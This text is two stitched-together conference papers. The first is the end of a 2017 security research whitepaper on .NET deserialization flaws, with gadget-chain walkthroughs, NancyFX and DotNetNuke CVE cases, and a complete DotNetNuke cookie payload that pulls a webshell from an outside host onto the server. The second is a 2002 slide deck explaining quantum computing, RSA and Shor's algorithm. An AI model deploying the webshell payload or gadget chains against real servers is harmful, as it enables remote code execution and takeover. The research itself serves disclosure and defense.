System.Messaging.XmlMessageFormatter It is the default formatter used by MSMQ. It uses XmlSerializer internally and therefore it is vulnerable to same attack patterns. System.Messaging.BinaryMessageFormatter Used by MSMQ as a binary formatter for sending messages to queues. It uses BinaryFormatter internally and therefore offers similar attack surface. 22 https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.datacontractresolver?view=netframework BlackHat Conference July 2017 HPE Software Security Research Paper New RCE gadgets System.Management.Automation.PSObject 23 This Type is deployed on Wondows GAC when Powershell v3.0 or higher is installed which is common since it comes pre-installed in modern windows versions. The PSObject serialization constructor calls a second layer of deserialization with attacker controlled data (CliXml): // System.Management.Automation.PSObject private object lockObject = new object(); protected PSObject(SerializationInfo info, StreamingContext context) { if (info == null) { throw PSTraceSource.NewArgumentNullException("info"); } string text = info.GetValue("CliXml", typeof(string)) as string; if (text == null) { throw PSTraceSource.NewArgumentNullException("info"); } PSObject pSObject = PSObject.AsPSObject(PSSerializer.Deserialize(text)); this.CommonInitialization(pSObject.ImmediateBaseObject); PSObject.CopyDeserializerFields(pSObject, this); } Which calls the following methods (the last 2 methods will be called if the deserialized PSObject wraps CimInstance): • PSDeserializer.DeserializeAsList() • System.management.automation.Deserializer.Deserialize() • System.Management.Automation.InternalDeserializer.ReadOneObject() • System.Management.Automation.InternalDeserializer.RehydrateCimInstance()System. Management.Automation.InternalDeserializer.RehydrateCimInstanceProperty() // System.Management.Automation.InternalDeserializer private bool RehydrateCimInstanceProperty(CimInstance cimInstance, PSPropertyInfo deserializedProperty, HashSet<string> namesOfModifiedProperties) { … object obj = deserializedProperty.Value; if (obj != null) { PSObject pSObject = PSObject.AsPSObject(obj); if (pSObject.BaseObject is ArrayList) { 23 https://msdn.microsoft.com/es-es/library/system.management.automation.psobject(v=vs.85).aspx BlackHat Conference July 2017 HPE Software Security Research Paper if (pSObject.InternalTypeNames == null || pSObject.InternalTypeNames.Count == 0) { return false; } string text2 = Deserializer.MaskDeserializationPrefix(pSObject.InternalTypeNames[0] ); if (text2 == null) { return false; } Type type; if (!LanguagePrimitives.TryConvertTo<Type>(text2, CultureInfo.InvariantCulture, out type)) { return false; } if (!type.IsArray) { return false; } object obj2; if (!LanguagePrimitives.TryConvertTo(obj, type, CultureInfo.InvariantCulture, out obj2)) { return false; } … In this method, it is possible to provide any arbitrary public Type as ElementType for Array and the next line will be executed with this Type: if (!LanguagePrimitives.TryConvertTo(obj, type, CultureInfo.InvariantCulture, out obj2)) This method will then call ConvertEnumerableToArray() // System.Management.Automation.LanguagePrimitives private static object ConvertEnumerableToArray(object valueToConvert, Type resultType, bool recursion, PSObject originalValueToConvert, IFormatProvider formatProvider, TypeTable backupTable) { object result; BlackHat Conference July 2017 HPE Software Security Research Paper try { ArrayList arrayList = new ArrayList(); Type type = resultType.Equals(typeof(Array)) ? typeof(object) : resultType.GetElementType(); LanguagePrimitives.typeConversion.WriteLine("Converting elements in the value to convert to the result's element type.", new object[0]); foreach (object current in LanguagePrimitives.GetEnumerable(valueToConvert)) { arrayList.Add(LanguagePrimitives.ConvertTo(current, type, false, formatProvider, backupTable)); } result = arrayList.ToArray(type); } It takes each element of the attacker controlled property value and tries to convert it to ElementType by calling LanguagePrimitives.ConvertTo() which calls LanguagePrimitives.FigureConversion(). This method tries to find the proper way for deserialization of various types. There are many attack vectors including: • Call the constructor of any public Type with 1 argument (attacker controlled) // System.Management.Automation.LanguagePrimitives internal static LanguagePrimitives.PSConverter<object> FigureConstructorConversion(Type fromType, Type toType) { … ConstructorInfo constructorInfo = null; try { constructorInfo = toType.GetConstructor(new Type[] { fromType }); } … • Call any setters of public properties for the attacker controlled type // System.Management.Automation.LanguagePrimitives internal static LanguagePrimitives.ConversionData FigureConversion(Type fromType, Type toType) { … else if (typeof(IDictionary).IsAssignableFrom(fromType)) { ConstructorInfo constructor = toType.GetConstructor(Type.EmptyTypes); if (constructor != null || (toType.IsValueType && !toType.IsPrimitive)) { LanguagePrimitives.ConvertViaNoArgumentConstructor @object = new BlackHat Conference July 2017 HPE Software Security Research Paper LanguagePrimitives.ConvertViaNoArgumentConstructor(constructor, toType); pSConverter = new LanguagePrimitives.PSConverter<object>(@object.Convert); conversionRank = ConversionRank.Constructor; } … //System.Management.Automation.LanguagePrimitives.ConvertViaNoArgumen tConstructor internal object Convert(object valueToConvert, Type resultType, bool recursion, PSObject originalValueToConvert, IFormatProvider formatProvider, TypeTable backupTable) { object result; try { … else { IDictionary properties = valueToConvert as IDictionary; LanguagePrimitives.SetObjectProperties(obj, properties, resultType, new LanguagePrimitives.MemberNotFoundError(LanguagePrimitives.CreateMembe rNotFoundError), new LanguagePrimitives.MemberSetValueError(LanguagePrimitives.CreateMembe rSetValueError), false); } • Call the static public Parse(string) method of the attacker controlled type. // System.Management.Automation.LanguagePrimitives private static LanguagePrimitives.PSConverter<object> FigureParseConversion(Type fromType, Type toType) { … else if (fromType.Equals(typeof(string))) { BindingFlags bindingAttr = BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod; MethodInfo methodInfo = null; … try { methodInfo = toType.GetMethod("Parse", bindingAttr, null, new Type[] { typeof(string) }, null); } … For the last case we can use System.Windows.Markup.XamlReader.Parse() to parse an attacker controlled Xaml code which can be used to call any public static method such as Process.Start(“calc.exe”). BlackHat Conference July 2017 HPE Software Security Research Paper Example: NancyFX (CVE-2017-9785) NancyFX 24 is a lightweight web framework based on Ruby's Sinatra. It uses a cookie called "NCSRF" to protect against CSRF attacks. This cookie contains a unique token and it is implemented as a CsrfToken instance serialized with BinaryFormatter and then base64 encoded. When visiting a site built with NancyFX and using CSRF protection, the site will set a cookie such as: AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3Vs dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJp dHkuQ3NyZlRva2VuAwAAABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVh dGVkRGF0ZT5rX19CYWNraW5nRmllbGQVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0C AgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAAAAJ9FN3bma5ztsdODwQAAAAgAAAA At9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA= By submitting our PSObject payload encoded in base64 encoding, an attacker will be able to gain arbitrary code execution on the application server upon deserialization of the cookie. Interestingly, the 2.x pre-released moved away from BinaryFormatter to make it compatible with .NET Core. 2.x version implemented a custom JSON parser which now emits cookies such as: {"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":"20 17-04- 03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,213, 201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140,46,24 ,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null”} As readers can tell, the cookie includes a Type Discriminator that will be used to recreate the CsrfToken object. Since setters will be called on the reconstructed object and the framework won’t check that deserialized object type, it is possible to gain remote code execution by using the setter approach we covered in the JSON section. Report Timeline Issue was reported on April 24 Fix was released on July 14 24 https://www.nuget.org/packages/Nancy/ BlackHat Conference July 2017 HPE Software Security Research Paper Can we extend the attack to other formats? The presented the approach and gadgets that are not just JSON specific as we saw with the .NET formatters. These apply to any deserialization format since objects will need to be created and populated. This process, as we already saw, normally implies calling setters or deserialization constructors on reconstructed objects. Therefore, if format allows an attacker to control deserialized type, the same gadgets could be used to attack these formats. We can summarize the requirements to attack any deserialization format in the following: • An attacker can control type to be instantiated upon deserialization • Methods are called on the reconstructed objects • Gadget space is big enough to find types we can chain to get RCE We will now present several formats which satisfy the previous requirements and that should never be used with untrusted data: Examples FsPickler (xml/binary) Project Site: http://mbraceproject.github.io/FsPickler/ FsPickler is a serialization library that facilitates the distribution of objects across .NET processes. The implementation focuses on performance and supporting as many types as possible, where possible. It supports multiple, pluggable serialization formats such as XML, JSON and BSON; also included is a fast binary format of its own. All formats supported by FsPickler include Type discriminators in the serialized data. It does, however, perform a strict type inspection which applies a type whitelist based on the expected type object graph. As we already saw for other formatters, if object graph contains a member whose type can be assigned any of the presented setter or serialization constructor gadgets, attackers will be able to gain remote code execution. SharpSerializer Project Site: http://www.sharpserializer.com/en/index.html SharpSerializer is an open source XML and binary serializer for .NET Framework, Silverlight, Windows Phone, Windows RT (Metro) and Xbox360. It is meant to replace the native XmlSerializer by overcoming most of XmlSerializer limitations such as dealing with interface members, generic members, polymorphism, etc. To do that, it includes type discriminators in the serialize data and instantiate those types without a proper type control. Wire/Hyperion Project Site: https://github.com/akkadotnet/Hyperion Hyperion is a custom binary serializer format designed for Akka.NET. It was designed to transfer messages in distributed systems, for example service bus or actor model based systems where it is common to receive different types of messages and apply pattern matching over those messages. If the messages do not carry over all the relevant type information to the receiving side, the message might no longer match exactly what your system expect. To do so, Hyperion includes type discriminators and do not perform any type control which let attackers specify arbitrary types to be instantiated. On those objects, setters, serialization constructors and callbacks will be invoked, allowing attackers to gain remote code execution. BlackHat Conference July 2017 HPE Software Security Research Paper Beware when rolling your own unmarshaller or wrapper As with crypto or any security sensitive API, it is not recommended to roll you own format if you are not fully aware of the security risks of such APIs. We already presented the vulnerable custom JSON parser developed to handle the CSRF cookies in NancyFX framework. Another good example is the wrapper around XmlSerializer developed by DotNetNuke (DNN) CMS. Example: DotNetNuke Platform (CVE-2017-9822) DNN offers the ability to save session information on a cookie called DNNPersonalization when the user has not log in yet. To do so, the developers implemented a custom XML format which looks like: <profile> <item key="PropertyName" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <boolean>false</boolean> </item> </profile> The framework extracts the type attribute from item tag and creates a new XmlSerialization deserializer using the extracted type as expected type. Since we can control the expected type by providing any arbitrary type in the cookie, we may initialize any type and get the setters called. In practice, XmlSerializer has many limitations including not being able to serialize types with nested interface members. This limitation does not stop us from using our ObjectDataProvider gadget since it is XmlSerializer friendly, but there is another limitation stopping us from using ObjectDataProvider, it contains a System.Object member (objectInstance). The way that XmlSerializer works is that at construction time, it inspects the object graph of the passed expected type and "learns" all the required types to serialize/deserialize objects. If the type contains a System.Object member, its type will not be known at runtime, and if not present in the whitelist of learnt types, the deserialization will fail. We need a way to force XmlSerializer to learn arbitrary types. Fortunately for us, we can use parametrized types for that purpose. If, for example, we pass the expected type of List<Process, ObjectDataProvider>, the object graphs of List, Process and ObjectDataProvider will be inspected to build the whitelist. Last problem to overcome is that Process is not serializable since it contains interface members, but that is not a big issue since we can use many other payloads other than Process.Start(). Putting together these tricks we can craft a payload like the following to deploy a webshell: <profile> <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.F ileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfFileSystemUtilsObjectDataProvider> <ExpandedElement/> <ProjectedProperty0> <MethodName>PullFile</MethodName> BlackHat Conference July 2017 HPE Software Security Research Paper <MethodParameters> <anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType> <anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType> </MethodParameters> <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfFileSystemUtilsObjectDataProvider> </item> </profile> Report Timeline Issues was reported on June 1st Fix was released on July 6 25 25 http://www.dnnsoftware.com/community/security/security-center BlackHat Conference July 2017 HPE Software Security Research Paper Conclusions Serializers are security sensitive APIs and should not be used with untrusted data. This is not a problem specific to Java serialization, a specifc .NET formatter or any specific formats such as JSON, XML or Binary. All serializers need to reconstruct objects and will normally invoke methods that attackers will try to abuse to initiate gadget chains leading to arbitrary code execution. In this whitepaper, we presented a comprehensive list of vulnerable libraries and formats which can be extended to other languages, formats and libraries. The results will probably be similar since the same premises will also apply. We also presented the requirements for serializers to be vulnerable to this kind of attacks with the main goal of raising awareness and equipping developers with better tools when chosing serialization libraries.
pdf
Quantum Computing 101: How to Crack RSA Walter C. Daugherity Department of Computer Science Texas A&M University BH2002@security.mailshell.com Quantum Computing - Daugherity Biography Walter C. Daugherity is a Senior Lecturer in Computer Science and Electrical Engineering at Texas A&M University. He received a bachelor’s degree from Oklahoma Christian University, and master’s and doctor’s degrees from Harvard University. His research interests include fuzzy logic, object-oriented programming, and quantum computing. Quantum Computing - Daugherity Biography (Continued) With David A. Church he created the first course in quantum computing at Texas A&M University, which will be offered for the third time in the Fall 2002 semester. Quantum Computing - Daugherity Abstract • What is quantum computing? • How does it work? • Why is it exponentially faster than “classical” computing? • How can a quantum computer crack RSA? Quantum Computing - Daugherity Quantum Computing • Quantum state = vector in a Hilbert space – Eigenstates |0> and |1> (e.g., spin-up and spin- down of a spin-1/2 particle) • Superposition – Combination w0 |0> + w1 |1> – w = amplitude, w* w = probability of eigenvalue • Interference – Produced by phase angle differences – Constructive or destructive Quantum Computing - Daugherity The Topsy Turvy World of Quantum Computing go to main article How Spin States Can Make Qubits The spin of a particle in a dc magnetic field is analogous to a spinning top that is precessing around the axis of the field. In such a field, the particle assumes one of two states, spin up or spin down, which can represent 0 and 1 in digital logic. A particle in one spin state can be pushed toward another by a radio frequency pulse perpendicular to the magnetic field. A pulse of the right frequency and duration will flip the spin completely [top]. A shorter RF pulse will tip the spin into a superposition of the up and down state [bottom], allowing simultaneous calculations on both states. ---IEEE Spectrum Online Quantum Computing - Daugherity Quantum Computing • Entanglement – Two mutually dependent qubits have a joint state – E.g., the 2-qubit system (|00> + |11>)/2 has a quantum state which cannot be “factored” into two 1-qubit states • Teleportation – Reproduce a quantum state at another location – Initial state is destroyed in the process Quantum Computing - Daugherity The Topsy Turvy World of Quantum Computing go to main article Quantum Teleportation Entire quantum particles can be "sent" from one place to another over any distance. The process starts with a sender and a receiver, Alice and Bob. The pair are on opposite sides of the universe but are in possession of photons A and B, respectively, which are entangled. Alice also holds photon C, which is in a state that she wants to teleport to Bob. Entangled particles have the property that a measurement on one immediately determines the state of the other. If Alice performs a procedure that entangles photons A and C, photon B, held by Bob, is forced to adopt the original state, a particular polarization, say, of photon C. Bob can only measure this state if Alice sends him details of the type of experiment he must do to get the message, and this can only be done at or below the speed of light. Although only the quantum state of photon C is teleported, when photon B adopts this state, it cannot be distinguished from photon C. To all intents and purposes, it has become photon C. This is what physicists mean when they say photon C has been teleported from Alice to Bob. Teleportation was first demonstrated by a group of researchers at the University of Innsbruck using the experimental setup shown here. Pairs of entangled photons, with polarization orthogonal to each other, are generated by splitting an ultraviolet laser pulse using a crystal called a parametric down-coverter. One of the pair (photon A) is sent to Alice while the other (photon B) is sent to Bob. Meanwhile, a message photon (C) is prepared in a state that is to be teleported to Bob-- in this case, 45-degree polarization. This is sent to Alice and arrives coincidentally with photon A at a beam-splitter. If the photons leave the splitter and strike both detectors, they have become entangled, and Alice sends notice of the entanglement to Bob. Bob can then carry out a measurement on photon B to confirm that it is in the 45-degree polarization state that the message photon C started off in. ---IEEE Spectrum Online --J.M. Quantum Computing - Daugherity Quantum Computing • Quantum Cryptography – Relies on Heisenberg’s uncertainty principle: Can’t measure rectilinear and diagonal polarization simultaneously, so eavesdropping is detected – I.e., provably secure Quantum Computing - Daugherity Exponential Speedup • N qubits can hold 2N values in superposition, i.e., simultaneously • A single operator (function evaluation) on such a register evaluates the function for all 2N values in the time it would take to do one evaluation Quantum Computing - Daugherity Application to Cryptography • Conventional (private key) cryptography • Public key cryptography • RSA • Cracking RSA • Shor’s quantum algorithm Quantum Computing - Daugherity Conventional Encryption • M = one block of the message, typically 64 bits, i.e., 8 characters, of plaintext • K = secret key • Ciphertext C = E(M,K) Quantum Computing - Daugherity Conventional Decryption • C = one block of ciphertext • K = secret key • M = D(C,K), the original plaintext Quantum Computing - Daugherity Security of Conventional Encryption • Need a strong encryption algorithm: even with many plaintext/ciphertext pairs an opponent cannot decrypt other ciphertext or discover the key. • Sender and receiver need to obtain copies of the secret key securely and keep it secure. • Note: Key is secret, algorithm is not. Quantum Computing - Daugherity Guessing the Secret Key Key Size (bits) Number Of Keys Time at 1 us each Time at 1 ps each 32 4.3x109 35.8 min 2.15 ms 56 7.2x1016 1142 yr 10 hr 128 3.4x1038 5.4x1024 yr 5.4x1018 yr 168 3.7x1050 5.9x1036 yr 5.9x1030 yr Quantum Computing - Daugherity Why Public-Key Cryptography? • Key distribution – Secret keys for conventional cryptography – Unforgeable public keys (digital certificate) • Message authentication Quantum Computing - Daugherity Public-Key Encryption • M = one block of the message, typically 64 bits, i.e., 8 characters, of plaintext • KU = receiver’s public key • Ciphertext C = E(M,KU) Quantum Computing - Daugherity Public-Key Decryption • C = one block of ciphertext • KR = receiver’s private (secret) key • M = D(C,KR), the original plaintext Quantum Computing - Daugherity Public History of Public-Key Encryption • 1976 - Proposed by Diffie and Hellman – Relies on difficulty of computing discrete logarithms (solve ax = b mod n for x) • 1977 - RSA algorithm developed by Rivest, Shamir, and Adleman – Relies on difficulty of factoring large numbers – RSA129 (129 digits) published as a challenge Quantum Computing - Daugherity Public History of Public-Key Encryption (continued) • 1994 - RSA129 cracked by 1600 networked computers • 1999 - RSA140 cracked by 185 networked computers in 8.9 CPU-years • 1999 – RSA155 (512-bit key) cracked by 300 networked computers • 2002 – RSA recommends 1024-bit keys Quantum Computing - Daugherity The RSA Algorithm • Select two primes p and q • Calculate n = p q • Calculate f(n) = (p-1)(q-1) • Select e such that 1 < e < f(n) and gcd(f(n),e) = 1 • Calculate d = e-1 mod f(n) • Public key KU = {e,n} • Private key KR = {d,n} Quantum Computing - Daugherity Example • Select two primes p=7 and q=17 • Calculate n = p q = 119 • Calculate f(n) = (p-1)(q-1) = 96 • Select e such that 1 < e < f(n) and gcd(f(n),e) = 1, e.g., e = 5 • Calculate d = e-1 mod f(n), e.g., d = 77 • Public key KU = {e,n} = {5,119} • Private key KR = {d,n} = {77,119} Quantum Computing - Daugherity Example (continued) • Plaintext M = 19 • Ciphertext C = Me mod n = 195 mod 119 = 66 • Plaintext M = Cd mod n = 6677 mod 119 = 19 Quantum Computing - Daugherity Cracking RSA • Factor n, which is public, yielding p and q • Calculate f(n) = (p-1)(q-1) • Calculate d = e-1 mod f(n) (e is public) • Private key KR = {d,n} Quantum Computing - Daugherity Cracking RSA (Example) • Factor 119, which is public, yielding 7 and 17 • Calculate f(119) = (7-1)(17-1) = 96 • Calculate 5-1 = 77 mod 96 • Private key KR = {77,119} Quantum Computing - Daugherity So How Hard is Factoring? Year Decimal Digits MIP-Years 1964 20 0.000009 1974 45 0.001 1984 71 0.1 1994 129 5000 ? 2000 2.9x109 Quantum Computing - Daugherity Shor’s Algorithm to Factor n • Choose q (with small prime factors) such that 2n2 <= q <= 3n2 • Choose x at random such that gcd(x,n)=1 • Calculate the discrete Fourier transform of a table of xa mod n, order log(q) times, each time yielding some multiple of q/r, where r=period Quantum Computing - Daugherity Shor’s Algorithm (continued) • Use a continued fraction technique to determine r • Two factors of n are then gcd(xr/2 - 1,n) and gcd(xr/2 + 1,n) • If the factors are 1 and n, try again. Quantum Computing - Daugherity Key Features • The discrete Fourier transform maps equal amplitudes into unequal amplitudes, so measuring the quantum state is more likely to yield a result close to some multiple of 1/r. • The period can be “quantum- computed”efficiently. Quantum Computing - Daugherity Implementation • “By 2000, it is expected that a quantum computer will factor 15 = 3 * 5.” • Scaling up for larger numbers is theoretically unlimited • If you can build a big enough quantum computer, you can crack RSA-1024 (about 300 decimal digits) in your lifetime. Quantum Computing - Daugherity The Future • Quantum-effect memory • Special-purpose experimental computers • Commercial availability • Impact on public-key cryptography Quantum Computing - Daugherity For Further Information http://www.qubit.org http://feynman.media.mit.edu/quanta/nmrqc- darpa/index.html http://www.theory.caltech.edu/~quic/index.html http://qso.lanl.gov/qc/ http://www.research.ibm.com/quantuminfo/ Quantum Computing - Daugherity Reference Sites http://www.theory.caltech.edu/people/preskill/ph229/refe rences.html http://www.duke.edu/~msm7/phy100/References.html http://www.magiqtech.com/QIref.html http://www.cs.caltech.edu/~westside/quantum-intro.html http://www.cs.umbc.edu/~lomonaco/qcomp/Qcomp.html http://gagarin.eecs.umich.edu/Quantum/papers/ http://astarte.csustan.edu/~tom/booklists/qc-refs- 2001.pdf http://www.stanford.edu/~zimmej/T361/Final%20Project /references.htm Quantum Computing - Daugherity Fall 2002 Course Intro to Quantum Computing ELEN 689-607 / PHYS 689-601 Texas A&M University Instructors: Dr. Walter C. Daugherity Dr. David A. Church Recommended prerequisites are a knowledge of linear algebra (e.g., MATH 304) and one course in physics. Enrollment is limited.
pdf